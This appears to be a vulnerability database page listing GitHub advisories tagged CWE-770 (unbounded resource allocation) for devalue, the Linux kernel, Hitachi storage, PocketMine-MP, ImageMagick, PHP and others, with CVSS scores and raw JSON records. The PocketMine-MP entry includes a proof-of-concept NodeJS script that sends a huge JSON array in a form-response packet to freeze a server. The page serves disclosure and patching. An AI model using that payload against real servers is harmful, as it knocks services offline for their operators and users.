Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

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The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3049 vulnerabilities reference this CWE, most recent first.

GHSA-77VG-94RM-HX3P

Vulnerability from github – Published: 2026-05-14 20:23 – Updated: 2026-06-09 18:41
VLAI
Summary
Svelte devalue: DoS via sparse array deserialization
Details

devalue.parse could, due to quirks in some JavaScript engines, be convinced to allocate much more memory than was needed when deserializing sparse arrays, leading to excessive memory consumption.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.6.3"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:23:47Z",
    "nvd_published_at": "2026-06-09T17:17:07Z",
    "severity": "HIGH"
  },
  "details": "`devalue.parse` could, due to quirks in some JavaScript engines, be convinced to allocate much more memory than was needed when deserializing sparse arrays, leading to excessive memory consumption.",
  "id": "GHSA-77vg-94rm-hx3p",
  "modified": "2026-06-09T18:41:24Z",
  "published": "2026-05-14T20:23:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Svelte devalue: DoS via sparse array deserialization"
}

GHSA-782J-786C-25HH

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2025-03-17 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ppp_async: limit MRU to 64K

syzbot triggered a warning [1] in __alloc_pages():

WARN_ON_ONCE_GFP(order > MAX_PAGE_ORDER, gfp)

Willem fixed a similar issue in commit c0a2a1b0d631 ("ppp: limit MRU to 64K")

Adopt the same sanity check for ppp_async_ioctl(PPPIOCSMRU)

[1]:

WARNING: CPU: 1 PID: 11 at mm/page_alloc.c:4543 __alloc_pages+0x308/0x698 mm/page_alloc.c:4543 Modules linked in: CPU: 1 PID: 11 Comm: kworker/u4:0 Not tainted 6.8.0-rc2-syzkaller-g41bccc98fb79 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/17/2023 Workqueue: events_unbound flush_to_ldisc pstate: 204000c5 (nzCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __alloc_pages+0x308/0x698 mm/page_alloc.c:4543 lr : __alloc_pages+0xc8/0x698 mm/page_alloc.c:4537 sp : ffff800093967580 x29: ffff800093967660 x28: ffff8000939675a0 x27: dfff800000000000 x26: ffff70001272ceb4 x25: 0000000000000000 x24: ffff8000939675c0 x23: 0000000000000000 x22: 0000000000060820 x21: 1ffff0001272ceb8 x20: ffff8000939675e0 x19: 0000000000000010 x18: ffff800093967120 x17: ffff800083bded5c x16: ffff80008ac97500 x15: 0000000000000005 x14: 1ffff0001272cebc x13: 0000000000000000 x12: 0000000000000000 x11: ffff70001272cec1 x10: 1ffff0001272cec0 x9 : 0000000000000001 x8 : ffff800091c91000 x7 : 0000000000000000 x6 : 000000000000003f x5 : 00000000ffffffff x4 : 0000000000000000 x3 : 0000000000000020 x2 : 0000000000000008 x1 : 0000000000000000 x0 : ffff8000939675e0 Call trace: __alloc_pages+0x308/0x698 mm/page_alloc.c:4543 __alloc_pages_node include/linux/gfp.h:238 [inline] alloc_pages_node include/linux/gfp.h:261 [inline] __kmalloc_large_node+0xbc/0x1fc mm/slub.c:3926 __do_kmalloc_node mm/slub.c:3969 [inline] __kmalloc_node_track_caller+0x418/0x620 mm/slub.c:4001 kmalloc_reserve+0x17c/0x23c net/core/skbuff.c:590 __alloc_skb+0x1c8/0x3d8 net/core/skbuff.c:651 __netdev_alloc_skb+0xb8/0x3e8 net/core/skbuff.c:715 netdev_alloc_skb include/linux/skbuff.h:3235 [inline] dev_alloc_skb include/linux/skbuff.h:3248 [inline] ppp_async_input drivers/net/ppp/ppp_async.c:863 [inline] ppp_asynctty_receive+0x588/0x186c drivers/net/ppp/ppp_async.c:341 tty_ldisc_receive_buf+0x12c/0x15c drivers/tty/tty_buffer.c:390 tty_port_default_receive_buf+0x74/0xac drivers/tty/tty_port.c:37 receive_buf drivers/tty/tty_buffer.c:444 [inline] flush_to_ldisc+0x284/0x6e4 drivers/tty/tty_buffer.c:494 process_one_work+0x694/0x1204 kernel/workqueue.c:2633 process_scheduled_works kernel/workqueue.c:2706 [inline] worker_thread+0x938/0xef4 kernel/workqueue.c:2787 kthread+0x288/0x310 kernel/kthread.c:388 ret_from_fork+0x10/0x20 arch/arm64/kernel/entry.S:860

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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  "affected": [],
  "aliases": [
    "CVE-2024-26675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
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    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-02T07:15:44Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nppp_async: limit MRU to 64K\n\nsyzbot triggered a warning [1] in __alloc_pages():\n\nWARN_ON_ONCE_GFP(order \u003e MAX_PAGE_ORDER, gfp)\n\nWillem fixed a similar issue in commit c0a2a1b0d631 (\"ppp: limit MRU to 64K\")\n\nAdopt the same sanity check for ppp_async_ioctl(PPPIOCSMRU)\n\n[1]:\n\n WARNING: CPU: 1 PID: 11 at mm/page_alloc.c:4543 __alloc_pages+0x308/0x698 mm/page_alloc.c:4543\nModules linked in:\nCPU: 1 PID: 11 Comm: kworker/u4:0 Not tainted 6.8.0-rc2-syzkaller-g41bccc98fb79 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/17/2023\nWorkqueue: events_unbound flush_to_ldisc\npstate: 204000c5 (nzCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : __alloc_pages+0x308/0x698 mm/page_alloc.c:4543\n lr : __alloc_pages+0xc8/0x698 mm/page_alloc.c:4537\nsp : ffff800093967580\nx29: ffff800093967660 x28: ffff8000939675a0 x27: dfff800000000000\nx26: ffff70001272ceb4 x25: 0000000000000000 x24: ffff8000939675c0\nx23: 0000000000000000 x22: 0000000000060820 x21: 1ffff0001272ceb8\nx20: ffff8000939675e0 x19: 0000000000000010 x18: ffff800093967120\nx17: ffff800083bded5c x16: ffff80008ac97500 x15: 0000000000000005\nx14: 1ffff0001272cebc x13: 0000000000000000 x12: 0000000000000000\nx11: ffff70001272cec1 x10: 1ffff0001272cec0 x9 : 0000000000000001\nx8 : ffff800091c91000 x7 : 0000000000000000 x6 : 000000000000003f\nx5 : 00000000ffffffff x4 : 0000000000000000 x3 : 0000000000000020\nx2 : 0000000000000008 x1 : 0000000000000000 x0 : ffff8000939675e0\nCall trace:\n  __alloc_pages+0x308/0x698 mm/page_alloc.c:4543\n  __alloc_pages_node include/linux/gfp.h:238 [inline]\n  alloc_pages_node include/linux/gfp.h:261 [inline]\n  __kmalloc_large_node+0xbc/0x1fc mm/slub.c:3926\n  __do_kmalloc_node mm/slub.c:3969 [inline]\n  __kmalloc_node_track_caller+0x418/0x620 mm/slub.c:4001\n  kmalloc_reserve+0x17c/0x23c net/core/skbuff.c:590\n  __alloc_skb+0x1c8/0x3d8 net/core/skbuff.c:651\n  __netdev_alloc_skb+0xb8/0x3e8 net/core/skbuff.c:715\n  netdev_alloc_skb include/linux/skbuff.h:3235 [inline]\n  dev_alloc_skb include/linux/skbuff.h:3248 [inline]\n  ppp_async_input drivers/net/ppp/ppp_async.c:863 [inline]\n  ppp_asynctty_receive+0x588/0x186c drivers/net/ppp/ppp_async.c:341\n  tty_ldisc_receive_buf+0x12c/0x15c drivers/tty/tty_buffer.c:390\n  tty_port_default_receive_buf+0x74/0xac drivers/tty/tty_port.c:37\n  receive_buf drivers/tty/tty_buffer.c:444 [inline]\n  flush_to_ldisc+0x284/0x6e4 drivers/tty/tty_buffer.c:494\n  process_one_work+0x694/0x1204 kernel/workqueue.c:2633\n  process_scheduled_works kernel/workqueue.c:2706 [inline]\n  worker_thread+0x938/0xef4 kernel/workqueue.c:2787\n  kthread+0x288/0x310 kernel/kthread.c:388\n  ret_from_fork+0x10/0x20 arch/arm64/kernel/entry.S:860",
  "id": "GHSA-782j-786c-25hh",
  "modified": "2025-03-17T18:31:38Z",
  "published": "2024-04-02T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26675"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/210d938f963dddc543b07e66a79b7d8d4bd00bd8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4e2c4846b2507f6dfc9bea72b7567c2693a82a16"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4fdb14ba89faff6e6969a4dffdc8e54235d6e5ed"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/56fae81633ccee307cfcb032f706bf1863a56982"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/58fbe665b097bf7b3144da7e7b91fb27aa8d0ae3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7e5ef49670766c9742ffcd9cead7cdb018268719"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b06e067e93fa4b98acfd3a9f38a398ab91bbc58b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cb88cb53badb8aeb3955ad6ce80b07b598e310b8"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-783C-38CJ-6Q3H

Vulnerability from github – Published: 2022-01-28 00:02 – Updated: 2022-02-05 00:01
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Details

An issue was discovered in Stormshield SNS before 4.2.3 (when the proxy is used). An attacker can saturate the proxy connection table. This would result in the proxy denying any new connections.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-28096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-27T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Stormshield SNS before 4.2.3 (when the proxy is used). An attacker can saturate the proxy connection table. This would result in the proxy denying any new connections.",
  "id": "GHSA-783c-38cj-6q3h",
  "modified": "2022-02-05T00:01:15Z",
  "published": "2022-01-28T00:02:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28096"
    },
    {
      "type": "WEB",
      "url": "https://advisories.stormshield.eu/2021-005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-787Q-6H24-H947

Vulnerability from github – Published: 2026-06-19 06:31 – Updated: 2026-06-19 06:31
VLAI
Details

DoS Vulnerability in 10G iSCSI Interface of Hitachi Virtual Storage Platform.

This issue affects Hitachi Virtual Storage Platform E990, E1090, E1090H: before DKCMAIN Ver.93-07-21-80/00-05, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-01-80/00-07, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-82-80/00-06, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-63-80/00-04, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform E390, E590, E790, E390H, E590H, E790H: before DKCMAIN Ver.93-07-21-x0/00-05, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-01-x0/00-07, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-82-x0/00-06, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-63-x0/00-04, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-24-x0/00-02, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-02-x0/00-02, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform G130, G150, G350, G370, G700, G900, F350, F370, F700, F900: before DKCMAIN Ver.88-08-10-x0/00-05, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform G100, G200, G400, G600, G800, F400, F600, F800: before DKCMAIN Ver.83-06-20-x0/00-05, CHB(iSCSI) Ver.83-01-01-29; Hitachi Virtual Storage Platform VX8, 5100, 5500, 5100H, 5500H, 5200, 5600, 5200H, 5600H: before DKCMAIN Ver.90-09-01-00/01-01, CHB(iSCSI) Ver.90-01-01-07, before DKCMAIN Ver.90-08-83-00/01-01, CHB(iSCSI) Ver.90-01-01-07, before DKCMAIN Ver.90-08-63-00/01-01, CHB(iSCSI) Ver.90-01-01-07; Hitachi Virtual Storage Platform VX7, G1000, G1500, F1500: before DKCMAIN Ver.80-06-93-00/00-04, ISFC Ver.80-01-17.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-7737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T06:16:58Z",
    "severity": "HIGH"
  },
  "details": "DoS Vulnerability in 10G iSCSI Interface of Hitachi Virtual Storage Platform.\n\n\n\nThis issue affects Hitachi Virtual Storage Platform E990, E1090, E1090H: before DKCMAIN Ver.93-07-21-80/00-05, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-01-80/00-07, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-82-80/00-06, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-63-80/00-04, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform E390, E590, E790, E390H, E590H, E790H: before DKCMAIN Ver.93-07-21-x0/00-05, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-01-x0/00-07, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-82-x0/00-06, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-06-63-x0/00-04, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-24-x0/00-02, CHB(iSCSI) Ver.88-01-02-04, before DKCMAIN Ver.93-07-02-x0/00-02, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform G130, G150, G350, G370, G700, G900, F350, F370, F700, F900: before DKCMAIN Ver.88-08-10-x0/00-05, CHB(iSCSI) Ver.88-01-02-04; Hitachi Virtual Storage Platform G100, G200, G400, G600, G800, F400, F600, F800: before DKCMAIN Ver.83-06-20-x0/00-05, CHB(iSCSI) Ver.83-01-01-29; Hitachi Virtual Storage Platform VX8, 5100, 5500, 5100H, 5500H, 5200, 5600, 5200H, 5600H: before DKCMAIN Ver.90-09-01-00/01-01, CHB(iSCSI) Ver.90-01-01-07, before DKCMAIN Ver.90-08-83-00/01-01, CHB(iSCSI) Ver.90-01-01-07, before DKCMAIN Ver.90-08-63-00/01-01, CHB(iSCSI) Ver.90-01-01-07; Hitachi Virtual Storage Platform VX7, G1000, G1500, F1500: before DKCMAIN Ver.80-06-93-00/00-04, ISFC Ver.80-01-17.",
  "id": "GHSA-787q-6h24-h947",
  "modified": "2026-06-19T06:31:55Z",
  "published": "2026-06-19T06:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7737"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi.com/products/it/storage-solutions/sec_info/2026/2026_312.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-788V-5PFP-93FF

Vulnerability from github – Published: 2026-04-06 22:54 – Updated: 2026-04-06 22:54
VLAI
Summary
PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling
Details

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by: - checking the max size of the formData field - making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).

  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

  3. Any non-existent formId

  4. formData containing a massive JSON array (e.g., 10+ MB payload).
  5. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pocketmine/pocketmine-mp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.39.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T22:54:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player-\u003eforms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from \u0027bedrock-protocol\u0027;\n\nconst host = \u0027127.0.0.1\u0027;\nconst port = 19132;\nconst username = \u0027Test\u0027;\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = \u0027[\u0027 + \u00270,\u0027.repeat(5_000_000) + \u00270]\u0027;\n\nclient.on(\u0027spawn\u0027, () =\u003e {\n  console.log(\u0027[*] Connected \u0026 spawned. Sending malicious packet...\u0027);\n\n  client.write(\u0027modal_form_response\u0027, {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON \u00e9norme\n  });\n\n  console.log(\u0027[*] Packet sent. The server should start freezing shortly.\u0027);\n});\n```",
  "id": "GHSA-788v-5pfp-93ff",
  "modified": "2026-04-06T22:54:07Z",
  "published": "2026-04-06T22:54:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pmmp/PocketMine-MP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling"
}

GHSA-78CP-PMX4-6CR5

Vulnerability from github – Published: 2024-11-14 00:31 – Updated: 2024-11-22 04:25
VLAI
Details

An issue in how XINJE XD5E-24R and XL5E-16T v3.5.3b handles TCP protocol messages allows attackers to cause a Denial of Service (DoS) via a crafted TCP message.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-50955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-13T22:15:15Z",
    "severity": "HIGH"
  },
  "details": "An issue in how XINJE XD5E-24R and XL5E-16T v3.5.3b handles TCP protocol messages allows attackers to cause a Denial of Service (DoS) via a crafted TCP message.",
  "id": "GHSA-78cp-pmx4-6cr5",
  "modified": "2024-11-22T04:25:02Z",
  "published": "2024-11-14T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Curator-Kim/Vulnerability-mining/blob/master/XINJE%20XD5E-24R%20XL5E-16T%20TCP%20DoS/XINJE%20XD5E-24R%20XL5E-16T%20TCP%20DoS.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79MG-J8GJ-JWC2

Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:23
VLAI
Details

Mikrotik RouterOS before 6.44.5 (long-term release tree) is vulnerable to memory exhaustion. By sending a crafted HTTP request, an authenticated remote attacker can crash the HTTP server and in some circumstances reboot the system. Malicious code cannot be injected.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2019-13954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-26T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Mikrotik RouterOS before 6.44.5 (long-term release tree) is vulnerable to memory exhaustion. By sending a crafted HTTP request, an authenticated remote attacker can crash the HTTP server and in some circumstances reboot the system. Malicious code cannot be injected.",
  "id": "GHSA-79mg-j8gj-jwc2",
  "modified": "2024-04-04T01:23:20Z",
  "published": "2022-05-24T16:51:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13954"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2019/Jul/20"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/153733/Mikrotik-RouterOS-Resource-Stack-Exhaustion.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79PR-X8CF-VHGW

Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:44
VLAI
Details

The ReadVIFFImage function in coders/viff.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted VIFF file.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2017-12692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-01T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ReadVIFFImage function in coders/viff.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted VIFF file.",
  "id": "GHSA-79pr-x8cf-vhgw",
  "modified": "2025-04-20T03:44:16Z",
  "published": "2022-05-13T01:17:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/653"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201711-07"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3681-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79RP-C2FH-G5J7

Vulnerability from github – Published: 2022-05-02 03:50 – Updated: 2024-02-15 21:31
VLAI
Details

PHP before 5.2.12 and 5.3.x before 5.3.1 does not restrict the number of temporary files created when handling a multipart/form-data POST request, which allows remote attackers to cause a denial of service (resource exhaustion), and makes it easier for remote attackers to exploit local file inclusion vulnerabilities, via multiple requests, related to lack of support for the max_file_uploads directive.

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{
  "affected": [],
  "aliases": [
    "CVE-2009-4017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-11-24T00:30:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP before 5.2.12 and 5.3.x before 5.3.1 does not restrict the number of temporary files created when handling a multipart/form-data POST request, which allows remote attackers to cause a denial of service (resource exhaustion), and makes it easier for remote attackers to exploit local file inclusion vulnerabilities, via multiple requests, related to lack of support for the max_file_uploads directive.",
  "id": "GHSA-79rp-c2fh-g5j7",
  "modified": "2024-02-15T21:31:24Z",
  "published": "2022-05-02T03:50:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4017"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54455"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10483"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6667"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=127680701405735\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://news.php.net/php.announce/79"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2009/Nov/228"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/37482"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/37821"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/40262"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/41480"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/41490"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4077"
    },
    {
      "type": "WEB",
